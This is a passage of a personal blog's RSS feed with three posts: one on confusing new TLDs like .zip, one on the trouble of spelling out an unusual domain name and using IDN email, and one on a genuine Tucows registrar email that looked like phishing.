<p>To be fair, some of the domains will only allow registration from authorised parties.  So you won't be able to register "Clippy.microsoft" - unless you work there.</p>

<p>Oh, and my favourite?</p>

<p>.zip</p>

<p>Because it will be the cause of great parsing confusion.</p>

<blockquote class="social-embed" id="social-embed-567820810371735553" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/edent" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRkgBAABXRUJQVlA4IDwBAACQCACdASowADAAPrVQn0ynJCKiJyto4BaJaQAIIsx4Au9dhDqVA1i1RoRTO7nbdyy03nM5FhvV62goUj37tuxqpfpPeTBZvrJ78w0qAAD+/hVyFHvYXIrMCjny0z7wqsB9/QE08xls/AQdXJFX0adG9lISsm6kV96J5FINBFXzHwfzMCr4N6r3z5/Aa/wfEoVGX3H976she3jyS8RqJv7Jw7bOxoTSPlu4gNbfXYZ9TnbdQ0MNnMObyaRQLIu556jIj03zfJrVgqRM8GPwRoWb1M9AfzFe6Mtg13uEIqrTHmiuBpH+bTVB5EEQ3uby0C//XOAPJOFv4QV8RZDPQd517Khyba8Jlr97j2kIBJD9K3mbOHSHiQDasj6Y3forATbIg4QZHxWnCeqqMkVYfUAivuL0L/68mMnagAAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Terence Eden is on Mastodon</p>@edent</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">Grrr... Because .zip is a valid TLD, it's impossible to know whether <a href="http://example.zip">example.zip</a> should be a URL or a filename.</section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/edent/status/567820810371735553"><span aria-label="9 likes" class="social-embed-meta">❤️ 9</span><span aria-label="5 replies" class="social-embed-meta">💬 5</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2015-02-17T23:00:05.000Z" itemprop="datePublished">23:00 - Tue 17 February 2015</time></a></footer></blockquote>

<p>The Internet is broken - let's throw it out and start again.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=23134&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2016/07/iana-insanity-or-how-i-learned-to-stop-worrying-and-love-the-new-internet/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[How Do You Pronounce Your Domain Name?]]></title>
		<link>https://shkspr.mobi/blog/2013/12/how-do-you-pronounce-your-domain-name/</link>
					<comments>https://shkspr.mobi/blog/2013/12/how-do-you-pronounce-your-domain-name/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 27 Dec 2013 14:15:33 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[chinese]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[rant]]></category>
		<guid isPermaLink="false">http://shkspr.mobi/blog/?p=9392</guid>

					<description><![CDATA[I was listening to a podcast recently which was kind enough to mention one of my blog posts.  The presenter said:  ...and you should Google for this, because I&#039;m really not sure how to pronounce this.  Is it shu-huk-spur? dot mobby?  Le sigh!  It&#039;s a conversation I have most weeks when I&#039;m on the phone to someone - usually a call centre - and they ask for my email address.  &#34;Sierra Hotel Kilo…]]></description>
										<content:encoded><![CDATA[<p>I was listening to a podcast recently which was kind enough to mention one of my blog posts.  The presenter said:</p>

<blockquote>...and you should Google for this, because I'm really not sure how to pronounce this.  Is it shu-huk-spur? dot mobby?</blockquote>

<p><em>Le sigh!</em>  It's a conversation I have most weeks when I'm on the phone to someone - usually a call centre - and they ask for my email address.</p>

<blockquote>"Sierra Hotel Kilo Sierra Papa Romeo Dot Mike Oscar Bravo India"</blockquote>

<p>Whereupon I am inevitably asked:</p>

<blockquote>Is that dot com or dot co dot UK at the end, sir?</blockquote>

<p>Yes! I have chosen an almost unpronounceable domain on an obscure TLD.  Woe is me!</p>

<p>Originally, I thought this wouldn't be a problem. Typing in the domain is quick and easy.  But a surprising number of organisations still insist on taking personal data over the phone.  Which means more reading out the phonetic spelling.</p>

<p>Frustratingly, a large number of websites refuse to accept .mobi as a valid TLD for email addresses.  The geniuses who coded them appeared to think that every email address must end with a 3 character (.com, .org, .net) or 2 character (.uk, .de, .io) sequence.  Despite the fact that there are <a href="http://www.iana.org/domains/root/db">dozens of domains which don't fit in this restriction</a>.</p>

<h2 id="doubling-down"><a href="https://shkspr.mobi/blog/2013/12/how-do-you-pronounce-your-domain-name/#doubling-down">Doubling Down</a></h2>

<p>Being the belligerent sod that I am, I refuse to give in to the tyranny of the spoken word!  We live in an digital world and digital data should be communicated by digital means.  I want to impart information like my email address over the wire - not over the phone.</p>

<p>Regular readers will know that I was thwarted in my quest to buy a .中国 domain - but I did manage to grab <a href="http://莎士比亚.org/" title="http://莎士比亚.org/">http://莎士比亚.org/</a>.</p>

<p>I think I'm going to move my primary email to that domain.  When I get some call-centre who won't let me fill in a form online to give them my details, I shall very politely say my email address is:</p>

<blockquote>Eden - yes, like the garden - at Shā​shì​bǐ​yà... Oh, of course, the <a href="http://commons.wikimedia.org/wiki/Commons:Stroke_Order_Project">stroke order</a> is... Well, no, it's a Mandarin Chinese domain... No... No... Fine, would you like the punycode representation?  Hello?</blockquote>

<p>I'll also refuse to do business when any organisation which doesn't recognise IDN email addresses. That'll show 'em!</p>

<p>Perhaps I'll also move this blog over to that domain as well. I wonder what impact speakability has on SEO?</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=9392&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2013/12/how-do-you-pronounce-your-domain-name/feed/</wfw:commentRss>
			<slash:comments>21</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Why Does Tucows Send Important Emails Which Look Like Phishing?]]></title>
		<link>https://shkspr.mobi/blog/2013/04/why-does-tucows-send-important-emails-which-look-like-phishing/</link>
					<comments>https://shkspr.mobi/blog/2013/04/why-does-tucows-send-important-emails-which-look-like-phishing/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Thu, 04 Apr 2013 20:09:57 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[phishing scam]]></category>
		<category><![CDATA[tucows]]></category>
		<guid isPermaLink="false">http://shkspr.mobi/blog/?p=7955</guid>

					<description><![CDATA[A few weeks ago, I received what I thought was a particularly inept phishing attack.  Subject: shkspr.mobi  ***PLEASE NOTE THAT IF YOU DO NOT RESPOND TO THIS EMAIL YOU MAY RUN THE RISK OF THIS NAME BEING ERRONEOUSLY DELETED - PLEASE ENSURE THAT YOU REPLY TO THIS MESSAGE (VIA EMAIL) WITH REFERENCE TO THE ACCURACY OF THE WHOIS  INFORMATION***  Hello;  I&#039;m writing to you from Tucows (Registrar for…]]></description>
										<content:encoded><![CDATA[<p>A few weeks ago, I received what I thought was a particularly inept phishing attack.</p>

<blockquote><p>Subject: shkspr.mobi
</p><p>
</p><p>***PLEASE NOTE THAT IF YOU DO NOT RESPOND TO THIS EMAIL YOU MAY RUN THE RISK
</p><p>OF THIS NAME BEING ERRONEOUSLY DELETED - PLEASE ENSURE THAT YOU REPLY TO
</p><p>THIS MESSAGE (VIA EMAIL) WITH REFERENCE TO THE ACCURACY OF THE WHOIS
</p><p>
</p><p>INFORMATION***
</p><p>
</p><p>Hello;
</p><p>
</p><p>I'm writing to you from Tucows (Registrar for your domain).  It has come to our attention that the WHOIS for this domain (see subject line) may not be accurate.
</p><p>
</p><p>According to Section 18 of the Registrant Agreement you accepted when you registered the domain name, all information is to be current, complete and accurate.
</p><p>
</p><p>(http://www.opensrs.com/docs/contracts/exhibita.htm)
</p><p>
</p><p>18.  INFORMATION.  As part of the registration process, you are required to provide us certain information and to update us promptly as such information changes such that our records are current, complete and accurate. You are obliged to provide us the following information:
</p><p>
</p><p>(a)    Your name and postal address (or, if different, that of the domain name holder);
</p><p>(b)   The domain name being registered;
</p><p>C the name, postal address, e-mail address, and voice and fax (if Available) telephone numbers of the administrative contact for the domain name;
</p><p>(c)    The name, postal address, e-mail address, and voice and fax (if
</p><p>(d)   Available) telephone numbers of the billing contact for the domain name; and
</p><p>(e)   The name, postal address, e-mail address, and voice and fax (if
</p><p>(f)     Available) telephone numbers of the technical contact for the domainname.
</p><p>
</p><p>Any voluntary information we request is collected in order that we can continue to improve the products and services offered to you through your
Reseller.
</p><p>
</p><p>As the Registrar, it is our responsibility to maintain the WHOIS and ensure that the information provided is up to date and accurate.  We have received notification that information listed in the WHOIS for the domain name may be inaccurate.  We are required, as per our ICANN obligations, to ensure that this is remedied.  This is outlined in Section 20 of the Registration Agreement.
</p><p>
</p><p>20.  REVOCATION.  We, in our sole discretion, reserve the right to deny, cancel, suspend, transfer or modify any domain name registration to correct a mistake, protect the integrity and stability of the company and any applicable registry, to comply with any applicable laws, government rules, or requirements, requests of law enforcement, in compliance with any dispute resolution process, or to avoid any liability, civil or criminal. You agree that we shall not be liable to you for loss or damages that may result from our refusal to register or cancel, suspend, transfer or modify your domain name registration.
</p><p>
</p><p>Please ensure that the WHOIS information is updated no later than close of business on date Apri 1 2013  If you would like to further discuss this
issue, please do not hesitate to contact me.
</p><p>
</p><p>Regards,
</p><p>
</p><p>REDACTED | Compliance Officer |Tucows
</p></blockquote>

<h2 id="clearly-phishing-right"><a href="https://shkspr.mobi/blog/2013/04/why-does-tucows-send-important-emails-which-look-like-phishing/#clearly-phishing-right">Clearly Phishing, Right?</a></h2>

<p>Let's see, this fired off all my spidey-senses for a phishing email.</p>

<ul>
    <li>BIG LEGAL WARNING TEXT</li>
    <li>Poor grammar.</li>
    <li>Numerous spelling errors ("Apri 1 2013"?)</li>
    <li>Atrociously formatted</li>
    <li>Vague threats.</li>
    <li>I don't have any contractual relationship with Tucows.</li>
    <li>Demands for personal information.</li>
</ul>

<p>So, I ignored it.  Turns out, that was a mistake!</p>

<h2 id="uh-oh"><a href="https://shkspr.mobi/blog/2013/04/why-does-tucows-send-important-emails-which-look-like-phishing/#uh-oh">Uh-Oh!</a></h2>

<p>A few hours ago, I received this email:</p>

<blockquote><p>Hello;
</p><p>This is to inform you that to date I have not received any notification that any changes have been made to the  Whois for this domain nor have you confirmed the accuracy of the whois.
</p><p>As the agreement that you have with us states that "Your willful provision of inaccurate or unreliable information, your willful failure promptly to update information "
</p><p>And
</p><p>"the accuracy of contact details associated with the your registration shall constitute a material breach of this Agreement and be a basis for cancellation of the domain name"
</p><p>And that we (Tucows) as per our obligation with ICANN are left with no other recourse than to cancel the above mentioned domain.
</p><p>If you have any questions, please feel free to contact me.</p></blockquote>

<p>And, with that, my domain disappeared from the Intertubes!</p>

<h2 id="quick"><a href="https://shkspr.mobi/blog/2013/04/why-does-tucows-send-important-emails-which-look-like-phishing/#quick">Quick!</a></h2>

<p>I frantically placed an international phone call and spoke to one of Tucows's compliance officers.  We quickly established that this wasn't a scam and that all I needed to do was drop them an email stating that my WHOIS info was correct.</p>

<p>I did so, and in mercifully short time my domain popped back up.</p>

<p>I pointed out to them that I was unaware that I had any relationship with them. "Should have read your contract," they replied huffily.
Even if I had, I responded, the emails clearly look like they're a scam. "No they don't," they said.  And that was the end of the matter as far as Tucows was concerned.</p>

<h2 id="how-would-you-react"><a href="https://shkspr.mobi/blog/2013/04/why-does-tucows-send-important-emails-which-look-like-phishing/#how-would-you-react">How Would You React?</a></h2>

<p>Why didn't I spot this was a genuine email?  Would you know that this poorly typed jumble of legalese was a real threat to <em>your</em> website?</p>

<p>I remember Tucows back when it was "The Ultimate Collection of Windows Software" - a rather motley collection of dog-eared "shareware" back in the day.  Since then, it has become one of the biggest domain providers on the planet.</p>

<p>Nevertheless, my contract is with VidaHost.  A search of their site doesn't show any mention of Tucows.  A search of my various contracts contains nothing about them.</p>

<p>I'm a geek, and even I find the weird nature of domain name registrars confusing.  What hope for the average punter?</p>

<p>With the rise in spam and phishing, it behoves companies to make sure that their communications don't inadvertently look like illegitimate scrawls from the Internet’s underbelly.</p>

<p>Tucows clearly suffers from a lack of quality control.  If they're this sloppy with their important emails, imagine the state of the rest of the company.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=7955&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2013/04/why-does-tucows-send-important-emails-which-look-like-phishing/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
	</channel>
</rss>
